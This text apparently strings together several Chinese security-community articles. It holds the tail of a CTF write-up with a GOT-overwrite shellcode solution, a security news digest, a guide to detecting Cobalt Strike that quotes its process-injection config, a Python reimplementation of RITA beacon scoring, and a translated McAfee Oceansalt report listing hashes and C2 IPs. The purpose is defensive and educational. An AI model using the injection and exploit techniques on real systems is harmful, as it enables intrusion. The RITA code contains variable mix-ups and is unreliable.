（3） 发现程序没有关NX，那么我们就可以想办法构造shellcode
（4） 在game函数中我们可以输入shellcode并且可以泄露栈地址，如下图所示；
（5）
在接下来的sub_400A29函数（如下图所示）中可以通过buf将dest指针覆盖，上一步我们在栈中布置了shellcde并且泄露了栈地址，所以我们可以将dest指针覆盖为某个函数的got地址（我选择free[@got](https://github.com/got
"@got")），在之后的strcpy中我们可以将got地址覆盖为之前的shellcode地址，这样在之后的函数调用中我们就可以执行shellcode进而get
shell.
（6） 脚本如下图所示：
（7） 运行脚本得到的flag如下图所示；
（8） Flag：flag{wish_you_have_a_good_day}
（9） 题目下载百度网盘链接：
链接: <https://pan.baidu.com/s/10Yp9pAWzYPfe473hm8phVg>
密码: 8yhi
## 五、Mobile
### 1.题目：小试牛刀
解答：
（1） 下载题目，如图下所示；
（2） 使用jadX_apk反编译工具反编译，如下图所示；
（3） 在assets文件夹里边发现bfsprotect.jar，如下图所示；
（4） 修改bfsprotect.jar的jar修改成dex，如下图所示；
（5） 使用Android逆向助手工具，反编译为dex2jar.jar，如下图所示；
（6） 使用用jd-gui查看反编译后的dex2jar.jar，如下图所示；
（7） 打开org.isclab.shh.protectapp，如下图所示；
（8） 打开protectClass文件发现flag，如下图所示；
（9） Flag：BFS-ISCC
（10） 题目下载百度网盘链接：
链接: <https://pan.baidu.com/s/1F0DjPqp2wRNjNr-7CSQK5A>
密码: k3vg | 社区文章 |
# 安全快讯14 | 朋友圈“新冠疫苗”明码标价？专家这样说
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 诈骗先知
### 朋友圈流传“新冠疫苗上市”消息 竟然还明码标价？？
近日，随着俄罗斯公布新冠疫苗的信息后，关于疫苗的消息有点多，其中有人在朋友圈明码标价卖起了“新冠疫苗”，然而并没有听过官方发布成功研制疫苗的消息，到底是怎么回事呢？
**在朋友圈“上市”的疫苗**
“需要新冠疫苗的联系我，9月2日发售”
“498一支，打3支，医护人员和出国人员可以先用”
微信朋友圈有人公开售卖新冠疫苗，价格几百元，扫描盒子上的条形码还能进行药品溯源，可以查到该疫苗的生产公司。经过多家媒体的求证，得到答复却很一致：并未上市！更不可能在朋友圈兜售！
据相关专家介绍，正常情况下，一种疫苗从开始研发立项到上市，要经历比较长的过程，朋友圈里发的新冠疫苗外包装图片即使能够进行药品追溯，也不代表已经获准上市使用，“主要还要看，一个是药监局的正式获批上市的注册批文，另一个是中检院批签发的公示。”
**安全课堂**
n目前阶段，任何关于新冠灭活疫苗可以‘订购’‘朋友圈兜售’‘支付保证金采购申请’等都为不实消息，广大用户不要轻易购买或转账，以免上当受骗。
n疫苗的接种有严格流程，在朋友圈兜售疫苗属违法行为。我国疫苗管理法规定由疾控系统专门来负责疫苗的储存运输和开发。朋友圈的这种方式不能够保证疫苗的冷链运输，不能保证疫苗的真实性、有效性和安全性。
## 行业动态
### 国家互联网应急中心：网络黑产打击取得阶段性成果
8月11日，国家互联网应急中心编写的 **《2019年中国互联网网络安全报告》**
正式发布。截至2019年底，被植入赌博暗链的网站数量从1万余个下降到1000个以内，互联网黑产违法犯罪活动得到有力打击。
据报告统计，2019年国家互联网应急中心监测发现各类黑产平台超过500个，包括手机号资源接码平台、IP地址秒拨平台、提供支付功能的第四方支付平台和专门用于赌博网站推广的广告联盟等。
去年，国家互联网应急中心监测到各类网络黑产攻击日均70万余次，电商、视频直播、棋牌游戏等在线行业是主要被攻击对象。
据介绍，通过有关部门联合行动，互联网黑产得到有效清理。截至2019年底，用于浏览器主页劫持的恶意程序月新增数量由65款降至16款，降幅超过75%；公安机关在“净网2019”行动中，关掉各类黑产公司210余家，捣毁、关停买卖手机短信验证码及协助注册恶意账号的平台40余个，抓获犯罪嫌疑人1.4万余名。
**报告指出，尽管打击网络黑产取得了阶段性成果，然而网络黑产活动正变得日益专业和隐蔽，自动化程度也在不断提升：**
n在“杀猪盘”等网络诈骗犯罪中，犯罪分子通过买卖精准个人信息，从而了解目标人群的爱好特点；
n通过恶意注册社交账号，再经过“养号”，具备完整的社交信息，极具迷惑性；
n黑产自动化工具也不断出现，黑产从业门槛逐步降低。
## 国际前沿
### 智能门锁安全漏洞使黑客能够完全访问Wi-Fi网络
如果你使用了智能门锁，并且使用的是August smart lock Pro +
Connect的话，请注意，该门锁中未打补丁的安全漏洞意味着黑客可以完全访问你的Wi-Fi网络。
首先，August smart lock Pro +
Connect门锁允许用户控制房屋的大门或其他地方，房主只需轻按即可解锁/锁定门，还能授予客人访问权限，监督其他人进入或离开房屋。
由于缺乏必要的硬件，该设备无法直接连接到互联网，因此，当用户在一定范围内时，可以通过蓝牙低能耗（BLE）控制锁定。而为了满足远程管理的需求，August应用程序形成了一个+
Connect Wi-Fi网桥，与互联网建立连接，再由控制智能锁的用户来回传递命令。
然而，在这种情况下，设备之间的命令用传输层安全（TLS）加密，不能以任何方式修改或利用。除此之外，只有所有者在其帐户中注册了锁，才能配置与无线网络相连的August连接。而用户通过两步验证获得对帐户的访问权限，因此所有者具有完全权限，可以授予访客全部或有限访问权限，接收即时通知并检查状态。
当然，为了实现这些功能，August Smart Lock Pro + Connect会连接到用户的Wi-Fi网络。在没有可用的键盘/输入设备的情况下，August使用一种通用技术来确保连接。该设备进入设置模式，作为接入点启用与智能手机的链接。随后，
**应用程序会将Wi-Fi登录凭据传递给智能锁，但这个通信是开放的（未加密），因此容易受到攻击。**
值得注意的是，虽然设备的固件会加密登录凭据，但使用的是ROT13，这是一种简单的密码，很容易被附近的黑客破解。 | 社区文章 |
# 基于异常行为检测CobaltStrike
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在很多攻击活动中，我们都能看到 **CobaltStrike** 的身影，所以，对于防御者，了解其在各个攻击阶段的行为特征是非常有必要的
上篇文章——[《威胁狩猎的最佳实践》](https://www.anquanke.com/post/id/260494)里提过一些检测方法，本文正好以CS为例，介绍下behavior-based的检测手段
全文结构参考ATT&CK攻击框架展开，主要涉及CS内置或者常用的使用姿势，检测思路仅供参考
## 攻击阶段
### Execution
CS中有很多用于后渗透的攻击模块，它们的加载通常是借助调用Windows DLL的方式来实现
这意味着攻击者在使用这些内置工具的时候，CS会临时拉起一个进程并使用rundll32.exe实现恶意代码注入
更重要的是，为了传递输出信息，这些攻击模块会通过 **命名管道** (named pipe)的形式与beacon产生通信
通常情况下，CS会采用以下默认的风格给管道进行命名：
* \postex_*
* \postex _ssh_ *
* \status_*
* \msagent_*
* \MSSE-*
* *-server
当然，攻击者能够自行修改命名方式，不过这一点容易被很多人忽视，大家也可以检视下自己平上时有没有这样的习惯，更多内容请参考[官方文章](https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/)
那么站在防御者的视角，我们可以使用 **sysmom** 等日志采集工具观测到以下行为：
除了关注管道的命名风格，CS在利用rundll32.exe进行代码注入的过程中，也有一定的行为特征，比如下图中的父子进程关系和参数调用：
虽然我们的操作系统在日常活动中也会经常用到rundll32.exe，但这里有所不同的是——它被调用时不带任何参数，这种调用过程同样值得防守方加以关注
对于windows上这类常见的系统进程，日后我会再专门写些文章去深入分析它们的行为基线，此处留个坑先…
### Defense Evasion
在这一攻击阶段，CS中最常用的手法就是 **进程注入** (process injection)
例如通过远程代码注入伪装成svchost.exe，或者注入lsass.exe后从内存中提取访问凭证
要想达到优秀的检测效果，我们最好双管齐下，一是理解攻击原理，二是理解日志记录的原理
关于CS实现进程注入的过程，可以参考官方的这段[说明](https://www.cobaltstrike.com/help-malleable-postex#processinject)，这里我拿其中的配置文件为例：
process-inject {
# set how memory is allocated in a remote process
set allocator "VirtualAllocEx";
# shape the memory characteristics and content
set min_alloc "16384";
set startrwx "true";
set userwx "false";
transform-x86 {
prepend "\x90\x90";
}
transform-x64 {
# transform x64 injected content
}
# determine how to execute the injected code
execute {
CreateThread "ntdll.dll!RtlUserThreadStart";
SetThreadContext;
RtlCreateUserThread;
}
}
参考上述执行流程，我们可以将其分解成四步：
1. 获取远程进程的句柄
2. 在远程进程中开辟内存空间
3. 将shellcode复制到远程进程
4. 在远程进程中执行shellcode
结合sysmon的监测能力，先拿两类日志为例吧：EID 8 和 EID 10
在上述流程的第一步，使用OpenProcess获取进程句柄的活动会被sysmon记录成EID为10的日志
而该日志类型有两个字段值得我们关注——TargetImage和GrantedAccess
前者就是目标进程，后者与访问权限相关，不同位掩码代表的权限关系如下：
Access | Mask
---|---
PROCESS_CREATE_PROCESS | 0x0080
PROCESS_CREATE_THREAD | 0x0002
PROCESS_DUP_HANDLE | 0x0040
PROCESS_SET_INFORMATION | 0x0200
PROCESS_SET_QUOTA | 0x0100
PROCESS_QUERY_LIMITED_INFORMATION | 0x1000
SYNCHRONIZE | 0x00100000
PROCESS_QUERY_INFORMATION | 0x0400
PROCESS_SUSPEND_RESUME | 0x0800
PROCESS_TERMINATE | 0x0001
PROCESS_VM_OPERATION | 0x0008
PROCESS_VM_READ | 0x0010
PROCESS_VM_WRITE | 0x0020
拿mimikatz使用过程中涉及到的权限为例：
Command | Sysmon 10 | Security 4663 Kernel Object
---|---|---
lsadump::lsa /patch | GrantedAccess 0x1438 | AccessMask 0x10
lsadump::lsa /inject | rantedAccess 0x143a | AccessMask 0x10
lsadump::trust /patch | GrantedAccess 0x1438 | AccessMask 0x10
misc:memssp | GrantedAccess 0x1438 | AccessMask 0x10
Procdump mimidump | GrantedAccess 0x1fffff | AccessMask 0x10
Task Manage minidump | GrantedAccess 0x1400, 0x1000, 0x1410 and 0x1fffff |
AccessMask 0x10
sekurlsa::* | GrantedAccess 0x1010 | AccessMask 0x10
这其中，0x1fffff 较为惹人注目，其意味着被赋予了所有权限，而我们的CS在代码注入活动中正是这样表现的：
到了进程注入的最后一步时，CS经常会调用 Win32 API CreateRemoteThreat，而这又会引起sysmon中日志类型ID为8的注意
这类日志不仅会记录API调用过程中的源进程和目标进程，还会记录新线程的起始地址和起始函数等信息
针对这一类行为的检测，同样可以从两方面入手，一是建立行为基线
生产环境中会调用 CreateRemoteThreat
的进程不多，常见的有反病毒程序和svchosts.exe、services.exe、wininit.exe等
参考 [sysmonconfig.xml](https://github.com/olafhartong/sysmon-modular)
等配置文件，可以维护一份白名单，对基线外的异常行为加以关注
另一方面，日志中的 StartAddress 等字段同样能起到一些辅助作用，Olaf Hartong 以前针对这一检测点专门写过<a
href=”https://medium.com/[@olafhartong](https://github.com/olafhartong
"@olafhartong")/cobalt-strike-remote-threads-detection-206372d11d0f”>文章
尽管在后续版本中有所变化，但是这一思路仍然能应用在检测技巧中提高相关进程行为的风险暴露程度
当然，进程注入的方式非常多样，而EID 8只关注 **CreateRemoteThreat()** ，所以这一监测方式并不总能奏效
但是该检测点仍然不失为一道重要的防线，通过下图可以较为直观地理解我们的布防位置：
除了进程间访问和远程线程创建之外，被注入的进程可能会产生新的会话，与C2进行通信，这时还会有EID 22(DNS query)的记录
从整个执行流程来看，就是 EID 10 -> EID 8 -> EID 22，其中每个阶段还会或多或少有些特征
讲到这里，我又想给自己挖个坑了，这一攻击手法其实可以拆解成多个风险行为，结合适当的算法计算出多条风险路径，从而大幅提高告警精确性和置信度
除了传统检测方法中的 Clustering、Grouping 和 Stack Counting 等，其实还有很多技巧可以结合使用，往往能达到更优的效果
### Privilege Escalation
提权阶段，最常用的手法可能是借助 `getsystem` 命令，其原理和Meterpreter的getsystem命令类似
本质上都是通过命名管道实现令牌模拟(named pipe
impersonation)，想要了解细节的小伙伴可以参考下这篇[文章](https://www.cobaltstrike.com/blog/what-happens-when-i-type-getsystem/)
这种方式依赖于 SeImpersonatePrivilege 的特权，因此前提是你的beacon已经具备Admin权限，而UAC
Bypass的方式由于太过多样，这里就先暂且不表
还有一种方法是通过`elevate svc-exe [listener]`创建服务运行一个二进制的payload，从而获得 SYSTEM 权限
这一过程涉及到可执行文件的创建、系统服务的创建、注册表的修改、文件和服务的清除等步骤，检测点比较多，可以按照下列截图依次分解：
* 创建管道 EID 17，注意进程路径(Image)和管道命名方式(PipeName)
* 释放文件 EID 11，注意用户权限(SYSTE<)、进程名称(Image)和文件名称(TargetFilename)
* 创建服务，注册表行为 EID 12&13，注意注册表位置和键值
* 进程创建 EID 1，注意进程路径与命令参数(无参数)
* 文件删除
文件删除这一行为我在实验过程中没能采集到相应日志，期待有相关发现的小伙伴们可以Twitter私信我
但是理论上该可执行文件的执行后自删除行为也是非常有价值的一个检测点，尤其是结合文件路径和签名状态等信息
### Credential Access
当攻击者获取目标系统的高权限之后，往往需要透过lsass.exe进程获取访问凭证
这一阶段中更多的攻击手法就不再赘述了，仅以使用CS的 `hashdump` 命令从进程内存中窃取凭证为例
首先，我们需要对以 lsass.exe 为目标进程的相关行为加以关注：
很显然，以 0x1fffff 权限访问 lsass.exe 的行为都应该引起我们的高度警惕
接着，我们可以通过源进程的GUID看看它还干过些什么，结合前文在Execution阶段的分析，我猜它至少创建过命名管道
果然如此，不仅是创建管道，还有进程间的调用特征(rundll32无参数)，甚至还涉及到注册表相关的行为
这一阶段，结合攻击方要窃取的目标，防守方往往可以把注意力重点集结在 lsass.exe 等关键进程上，尤其会涉及到高权限的访问行为
只要做好数据采集和质量管理，在相关的必经之路上其实是易守难攻，这时的防守方反而能占据一些优势
## 小结
受限于篇幅，其他攻击阶段譬如横向渗透、C2通信和内网探测之类的就不再展开举例了
目前网上关于 CobaltStrike 的检测大多集中在流量侧，关于后渗透阶段在主机侧的行为表现，希望本文能起到抛砖引玉的作用
尽管攻击方的绕过姿势花样迭出，但是一些关键行为路径仍然难以避免或者容易忽视，还有很多宝藏trick亟待挖掘
最后，本文中大部分技术细节都是浅尝辄止，感兴趣的朋友可以通过我个人主页上的 **Twitter** 联系我，欢迎同好交流~~ | 社区文章 |
# 利用RITA检测beacon通信
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
[RITA](https://github.com/activecm/rita) 是一个用于检测 C2 通信流量的开源项目，由 GO 语言编写
本文主要介绍其分析器的工作原理，并借助 Python 代码逐步还原该算法
为方便阅读，以下涉及到的变量均参照源码搬运而来，读者可跳转至该项目后自行作对比分析
分析器源码地址：<https://github.com/activecm/rita/blob/master/pkg/beacon/analyzer.go>
该算法对 **同源-目的IP** 间的通信，进行分数计算得到 **score** ，其值分布为 0~1 之间， **趋近 1 则疑似 beacon
通信行为**
具体计算过程大致上可以分为两部分，根据 **通信间隔** 和 **数据包大小** 的特征，分别计算出 **tsScore** 和 **dsScore**
，最后取均值得到 score
其中，tsScore 和 dsScore 的计算过程相似，下面开始针对各个部分做具体分析
## tsScore的计算
tsScore 的计算又细分为三个部分： **tsSkewScore** 、 **tsMadmScore** 、 **tsConnCountScore**
### tsSkewScore
该值的计算原理在源码中的注释部分也有所解释，即：理想的 beacon 通信行为应该具有通信间隔和数据大小呈现 **对称分布** 的特征
意思也很好理解，以 CobalStrike 默认的 beacon 配置为例，其通信行为如下图所示：
CS 默认回连的间隔时间为 60 秒，即使加上抖动(jitter)，理论上仍然会呈现出高度对称的分布特征，其数据包大小亦如是
这里采用[Bowley 偏度公式](https://www.statisticshowto.com/bowley-skewness/)来度量对称性，得到偏度系数 tsSkew 和 dsSkew，后者在第二部分计算 dsScore 时会使用到
所谓的偏度系数，适用于描述曲线形状的对称性，其值在 1 到 -1 之间，分别代表着正偏斜或负偏斜，参照下图
具体计算时需要对数据集按大小顺序作四等分，在三个分位点依次取值：tsLow，tsMid，tsHigh
Python 示例代码：
# 根据时间戳计算通信间隔
http_df['deltas'] = http_df[timestamp].apply(lambda x: pd.Series(x).diff().dt.seconds.dropna().tolist())
# 以通信间隔为数据集，计算各分位点处数值
http_df['tsLow'] = http_df['deltas'].apply(lambda x: np.percentile(np.array(x), 25))
http_df['tsMid'] = http_df['deltas'].apply(lambda x: np.percentile(np.array(x), 50))
http_df['tsHigh'] = http_df['deltas'].apply(lambda x: np.percentile(np.array(x), 75))
# 根据公式：Bowley Skewness = (Q1 + Q3 – 2Q2) / (Q3 – Q1)，计算分母和分子
http_df['tsBowleyNum'] = http_df['tsLow'] + http_df['tsHigh'] - 2*http_df['tsMid']
http_df['tsBowleyDen'] = http_df['tsHigh'] - http_df['tsLow']
# 如果分母为 0，Q2 = Q1 或 Q2 = Q3，则计算结果不可靠，tsSkew 取 0
http_df['tsSkew'] = http_df[['tsLow','tsMid','tsHigh','tsBowleyNum','tsBowleyDen']].apply(
lambda x: x['tsBowleyNum'] / x['tsBowleyDen'] if x['tsBowleyDen'] != 0 and x['tsMid'] != x['tsLow'] and x['tsMid'] != x['tsHigh'] else 0.0, axis=1
)
最后根据 tsSkew 算出：tsSkewScore = 1 – abs(tsSkew)
### tsMADMScore
这一段计算的前提为：理想的 beacon 通信行为在其通信间隔的 **中位数** 周围应该具有很低的 **分散度**
该特征可以用 MADM（Median Absolute Deviation about the Median）来度量
具体计算过程也比较简单，在 Python 中我们用一行代码就能搞定
http_df['tsMadm'] = http_df['deltas'].apply(lambda x: np.median(np.absolute(np.array(x) - np.median(np.array(x)))))
得到 tsMadm 和 dsMadm 后，设定 **30秒** 和 **32字节** 作为阈值，超出则分数计为 0
因为这里的分散度越低越好，由此可以计算出 tsMadmScore 和 dsMadmScore，以下是 Python 示例代码：
http_df['tsMadmScore'] = 1.0 - http_df['tsMadm'] / 30.0
http_df['tsMadmScore'] = http_df['tsMadmScore'].apply(lambda x: 0 if x < 0 else x)
http_df['dsMadmScore'] = 1.0 - http_df['tsMadm'] / 32.0
http_df['dsMadmScore'] = http_df['dsMadmScore'].apply(lambda x: 0 if x < 0 else x)
### tsConnCountScore
跟上面的 SkewScore 和 MadmScore 不同，这一部分在 tsScore 和 dsScore 中的计算有所区别
在行为特征上，beacon 通信时往往具有较高的连接数，tsConnCountScore 正是用来度量这一点的
利用通信的持续时间和连接次数计算得到：tsConnCountScore = ConnectionCount / (tsConnDiv / 10.0)
其中，ConnectionCount 代表通信次数，tsConnDiv 由通信起止时间除以固定的连接频率得来，此处该值取为 **10 秒**
最后得分如果大于1，则向下舍入取1，因为连接得越频繁，越有可能是 beacon 通信
PS：对于这里的 10
秒，应该还存在优化空间，有研究员指出该值太小可能会影响最终得分从而产生漏报，[传送地址](https://github.com/activecm/rita/issues/716)
综上，计算 tsScore = (tsSkewScore + tsMADMScore + tsConnCountScore) / 3.0
## dsScore的计算
数据大小的分散度( **dsSkewScore** )和 MADM( **dsMADMScore** ) 的算法不变，前文已经有所解释
主要区别在于，计算 dsMADMScore 时数据大小的 MADM 以 **32 字节** 作为阈值，数据包超出该大小则得分为 0
另外，由于 beacon 通常都是较小的数据包，这里采用 **dsSmallnessScore** 作为衡量指标
其含义为，如果数据包大小的众数(Mode)超过 **65 Kb** ，则得分为 0
Python 示例代码如下：
# 计算数据包大小差值
http_df['size_deltas'] = http_df[data_size].apply(lambda x: pd.Series(x).diff().dropna().tolist())
# 计算 dsSkew
http_df['dsLow'] = http_df['size_deltas'].apply(lambda x: np.percentile(np.array(x), 25))
http_df['dsMid'] = http_df['size_deltas'].apply(lambda x: np.percentile(np.array(x), 50))
http_df['dsHigh'] = http_df['size_deltas'].apply(lambda x: np.percentile(np.array(x), 75))
http_df['dsBowleyNum'] = http_df['dsLow'] + http_df['dsHigh'] - 2*http_df['dsMid']
http_df['dsBowleyDen'] = http_df['dsHigh'] - http_df['dsLow']
http_df['dsSkew'] = http_df[['dsLow','dsMid','dsHigh','dsBowleyNum','dsBowleyDen']].apply(
lambda x: x['dsBowleyNum'] / x['dsBowleyDen'] if x['dsBowleyDen'] != 0 and x['dsMid'] != x['dsLow'] and x['dsMid'] != x['dsHigh'] else 0.0, axis=1
)
# 计算 dsSkewScore
http_df['dsSkewScore'] = 1.0 - abs(http_df['dsSkew'])
# 计算 dsMadmScore
http_df['dsMadm'] = http_df['size_deltas'].apply(lambda x: np.median(np.absolute(np.array(x) - np.median(np.array(x)))))
http_df['dsMadmScore'] = 1.0 - http_df['dsMadm'] / 32.0
http_df['dsMadmScore'] = http_df['dsMadmScore'].apply(lambda x: 0 if x < 0 else x)
# 计算 dsSmallnessScore
http_df['dsSmallnessScore'] = http_df[data_size].apply(lambda x: 1- (np.argmax(np.bincount(x)) / 65535))
http_df['dsSmallnessScore'] = http_df['dsSmallnessScore'].apply(lambda x: 0 if x < 0 else x)
最后得到，dsScore = (dsSkewScore + dsMADMScore + dsSmallnessScore) / 3.0
## 小结
最终得分：score = (tsScore + tsScore) / 2.0，完整的演示代码放在
[这里](https://github.com/Moofeng/DemoCode/blob/main/rita.py)
为了简单演示下狩猎效果，我用 [Covenant](https://github.com/cobbr/Covenant) 作为 C2 框架，生成 3
组数据，通信间隔在 10-60 秒不等，抖动在 10%-20% 之间
最后得分如下：
当然，这里只是为了验证该算法基本逻辑的正确性，数据样本太小，并不能说明其实际使用效果， **切勿直接用作检测告警**
**它的目的是帮助我们提高威胁狩猎的效率，搭配其它工具和方法一起使用才是正确的姿势**
例如可以 **将其输出作为我们检测规则的输入** ，或者 **结合威胁情报食用** ，进行二次确认
另外，不要忘了对输入数据做好预处理和清洗工作，比如 **聚焦特定协议** ， **判断内外网IP** ， **过滤白名单主机**
等等，这会大幅提高分析效率和检测效果
当然，算法本身还有很大的优化空间，尤其对计算过程中涉及到的一些常量，我也有不少的疑问
例如，Mehmet Ergene 在其[文章](https://posts.bluraven.io/implementing-rita-using-kql-8ccb0ee8eeae)中提到过可能会产生的漏报：
1. 通信间隔的 MADM 大于 30 秒时，则 tsMADMScore 分数为 0
2. 数据大小的 MADM 超过 32 字节时，则 dsMADMScore分数为 0
如果一个 beacon 的通信间隔为 10 分钟，抖动(jitter)为 20%，其 MADM 会超过 30s
这种情况下算出的 tsMadmScore 为 0，进而会降低总得分，导致漏报
最后，感谢 [Mehmet Ergene](https://twitter.com/Cyb3rMonk)
的分享，这篇文章受其启发而来，如有纰漏之处，欢迎私信交流 | 社区文章 |
# APT1王者归来？McAfee发布关于Operation Oceansalt的分析报告
##### 译文声明
本文是翻译文章，文章原作者 McAfee，文章来源：mcafee.com
原文地址：<https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
McAfee高级威胁研究小组发现一个针对韩语用户的数据侦察类恶意软件。由于它与早期恶意软件Seasalt（海盐，属于早期的一个中国黑客组织）的相似性，我们将此威胁命名为Operation
Oceansalt（海洋盐，或者洋盐）。Oceansalt重复使用了部分Seasalt的代码，而与活跃在2010年的Seasalt与中国黑客组织Comment
Crew（评论员，即APT1）存在关联。Oceansalt主要针对韩国、美国和加拿大，该恶意软件从两个被入侵的韩国网站（目前已离线）进行分发。Oceansalt疑为APT攻击的第一阶段活动，用于收集系统信息并发送至远程控制服务器，并可以执行相关命令（指令）。目前还不清楚该恶意活动的最终目的。
### APT1卷土重来？
Comment
Crew（评论员）也被称为APT1，2013年被曝光，据称是中国发起的针对美国的网络间谍活动。当时的报告曝光了该组织的内部工作细节和网络攻击能力，迫使该组织销声匿迹（也可能是改变了技术）。截至本报告之前，我们没有发现该组织的任何新攻击活动，但现在我们在针对韩国的新攻击活动中发现了它的部分代码。
我们对这些重用的代码进行了调查，发现这些源代码既没有被公开发布过，也没有在暗网市场上出售过。所以，APT1真的卷土重来了吗？我们认为这不太可能。没有确凿的证据表明这是APT1的新攻击活动，那到底攻击者是谁呢？根据我们的调查，我们提出了以下几种设想。
1、 两个攻击组织之间达成了某种共享代码的协议
2、 可能是原APT1的某个成员泄露了原始代码，另一个攻击组织获得了这些代码
3、 攻击者故意设置一个False Flag（错误标志），以误导研究人员认为中国和朝鲜共同发起了这些攻击。
### 攻击者是说韩语的吗？
恶意文档的内容是韩文的，其主题与韩国的特定经济项目有关。这些文档看起来是独一无二的，没有在任何公开渠道上出现过。我们无法定位这些文档的来源，这意味着这些文档可能是攻击者创建的。
恶意Office文档的元数据中包含韩语的代码页（code
page）。这意味着该文档包含韩语语言包，很有可能是为了确保受害者可以阅读它。我们还发现恶意文档统一使用了一个作者名字，这是先前我们分析过的针对韩国的恶意文档常用的技术之一。
图1 恶意xls文档的代码页元数据
我们得出结论：这是一个新的恶意软件家族，攻击者主要针对韩语用户，并使用了APT1的部分源代码。此外，攻击者很可能对韩语十分了解。
### 攻击目标
研究表明初始的攻击向量是鱼叉式钓鱼攻击，通过两个恶意的韩文Excel文档下载恶意软件。根据我们的文档分析，这些目标很可能与韩国的公共基础设施项目及其财务信息有关
– 这清楚地表明攻击者的初步攻击主要针对基础设施。
第二轮恶意文档是Word文档，带有相同的元数据和作者信息。文档内容与朝韩合作基金的财务信息有关。恶意活动首次出现于2018年5月31日，出现在韩国。我们的遥测技术表明部分韩国之外的企业也遭到攻击；而到8月14日，攻击的范围扩大了，开始针对加拿大和美国的多个行业。
攻击活动在北美地区的首次出现日期尚不明确。我们没有找到针对加拿大和美国的恶意Office文档，但我们的遥测技术表明部分北美的计算机系统受到影响。针对北美企业的攻击可能只是针对韩国攻击的部分延续（因为触发检测的恶意文档屈指可数，而且它们只传播其中一个恶意软件变体）。根据我们的遥测技术，这些企业可能是投资企业、银行以及农业企业。
### 攻击目的与造成的影响
研究表明这些攻击目标会关注与韩国的公共建设支出、朝韩合作基金以及其它全球经济数据有关的文档。该恶意活动的目标可能是窃取资金。鉴于攻击者在受害者中获得的控制权限，这些攻击可能只是大规模破坏性攻击的前奏。该恶意活动的影响是巨大的：Oceansalt使得攻击者获得了目标系统及其网络的完整控制权限。如果是一个银行的内部网络，攻击者就可能获得巨额利益。
此外，其代码与先前的一个国家资助的APT组织有重叠。这种代码重用意味着该国家资助的APT组织成员与当前网络攻击活动的攻击者存在密切的联系。
## 二、恶意活动分析
该恶意活动起始于韩国，随后扩展至全球。恶意文档中的恶意软件分发链接一直保持一致性；攻击者可能是入侵了多个韩国网站来托管这些恶意代码。
### 第一波攻击：针对韩国的高等教育行业
第一波攻击中的恶意文档创建于5月18日，最后保存日期为5月28日。该韩文文档的作者是Lion，之后的文档中我们将经常看到这个名字。
图2 第一波攻击中的恶意文档元数据
第一波攻击中的恶意文档包含韩国姓名、物理住址和电子邮件地址的列表。这些名字属于韩国高等教育行业中的人或是各个研究院的人。该列表看起来是随机的，似乎是从政府的某个个人信息数据库中复制得到。
该恶意文档中还包含宏代码，用于从[www.[redacted].kr/admin/data/member/1/log.php](http://www.%5Bredacted%5D.kr/admin/data/member/1/log.php)
下载恶意软件，并伪装成韩国一个安全产品的名字（V3UI.exe）来执行。
### 第二波攻击：针对韩国的公共基础设施
我们的研究团队发现该恶意软件托管在一个合法的韩国网站上（属于一个音乐教师协会，与恶意文档并无任何关联）。攻击者通过一个PHP页面来完成恶意软件的分发，当用户打开2种恶意的Excel文档时，其内置的Visual
Basic宏就会连接到该页面，下载和运行恶意软件。在第一波攻击发生时，韩国的一个企业将该恶意文档的样本提交给了我们。
图3 第二波攻击中的恶意软件下载链接
Excel文档的创建者是Lion，创建日期是5月31日，正好是恶意软件被编译和托管在网站上的前一天。这些文档的内容与韩国的公共基础设施项目及其开支有关。根据我们的分析，这明确意味着攻击者的兴趣是针对与韩国这一领域有关的个人。
图4 第二波攻击中的恶意文件元数据
图5 恶意文档一：公共基础设施项目中的投资趋势
图6 恶意文档二：公共基础设施项目中的开支
图7 恶意文档三：公共项目开支报表
这一波攻击中最后一个文档的创建者仍然是Lion，创建日期是6月4日，文件名为0.온나라_상용_SW_2018년
대상_list_(20180411)_지역업체.xls。该文档伪装成韩国行政安全部Onnara的文件（该部门主要负责土地和开发）。
### 第三波攻击：朝韩合作
第三波攻击中的Word文档与Excel文档包含相同的宏代码。这些文档伪装成朝韩合作基金的财务信息，其创建时间与第二波攻击相同。此外，不管是Excel还是Word，其作者都是Lion。这一次恶意软件通过另一个韩国网站进行分发。新出现的Excel文档包含与Word文档内容有关的电话号码和联系人信息。
图8 第三波攻击中的恶意软件分发链接
图9 （假）朝韩合作基金的月度统计报告
图10 （假）朝韩合作基金的月度统计报告
图11 虚假的产品和合伙人信息
### 第四波攻击：针对韩国之外的目标
在韩国之外，我们发现了一小部分受到攻击的目标，疑为攻击者扩大了它的攻击范围。我们还没有发现用于下载恶意软件的恶意文档。由于攻击者在第一波和第二波攻击中使用了不同的恶意软件分发服务器，我们认为这一波攻击也有自己的分发服务器。根据McAfee的遥测数据，8月10日至14日期间，北美地区的多个行业受到攻击：
行业
|
国家
---|---
金融
|
美国
医疗
|
美国
医疗
|
美国
电信
|
加拿大
金融
|
美国
农业和工业
|
美国
金融
|
美国
电信
|
加拿大
金融
|
加拿大
金融和技术企业
|
美国
政府机构
|
美国
图12 第四波攻击中的受害者
### 第五波攻击：针对韩国和美国
Oceansalt不仅仅只有一个样本。我们在不同的控制服务器上发现了多个不同的变体。这些变体使用了混淆技术来逃避检测。这些样本与初始Oceansalt样本几乎完全相同。第五波攻击中的样本是在7月13日至7月17日期间编译的，并由韩国和美国的企业提交给我们。
哈希 | 编译日期 | 控制服务器
---|---|---
38216571e9a9364b509e52ec19fae61b | 6/13/2018 | 172.81.132.62
531dee019792a089a4589c2cce3dac95 | 6/14/2018 | 211.104.160.196
0355C116C02B02C05D6E90A0B3DC107C | 7/16/2018 | 27.102.112.179
74A50A5705E2AF736095B6B186D38DDF | 7/16/2018 | 27.102.112.179
45C362F17C5DC8496E97D475562BEC4D | 7/17/2018 | 27.102.112.179
C1773E9CF8265693F37DF1A39E0CBBE2 | 7/17/2018 | 27.102.112.179
D14DD769C7F53ACEC482347F539EFDF4 | 7/17/2018 | 27.102.112.179
B2F6D9A62C63F61A6B33DC6520BFCCCD | 7/17/2018 | 27.102.112.179
76C8DA4147B08E902809D1E80D96FBB4 | 7/17/2018 | 27.102.112.179
## 三、技术分析
### 下载和执行功能
